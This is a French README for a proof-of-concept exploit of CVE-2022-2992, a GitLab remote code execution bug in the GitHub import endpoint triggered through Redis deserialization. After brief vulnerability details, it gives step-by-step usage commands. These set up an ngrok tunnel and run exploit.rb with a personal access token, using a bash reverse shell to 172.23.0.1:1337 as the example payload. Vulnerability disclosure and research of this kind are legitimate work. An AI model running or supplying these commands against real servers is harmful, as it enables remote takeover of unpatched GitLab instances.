CVE-2022-2992: Exécution de commande à distance via l'importation Github

Informations

Description: Cela permet à un utilisateur authentifié d'exécuter du code à distance via le point de terminaison de l'API d'importation depuis GitHub.
Versions affectées: toutes les versions de 11.10 jusqu'à 15.1.6, 15.2 à 15.2.4, 15.3 à 15.3.2
Version corrigée: 15.3.2
Chercheur: vakzz
Lien d'analyse: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
Lien NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-2992

Preuve de concept de l'exploit

Description

Un utilisateur authentifié peut importer un dépôt depuis Github vers Gitlab. On peut tenter d'importer depuis le serveur contrôlé par l'attaquant, qui répond avec un objet du protocole de sérialisation de Redis dans le champ imbriqué default_branch, ce qui amène Gitlab à mettre en cache cet objet sur Redis, puis Redis à le désérialiser et à déclencher l'exécution de la charge utile.

Utilisation/Exploitation

Un jeton d'accès personnel est nécessaire.

$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567  # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload

Exemple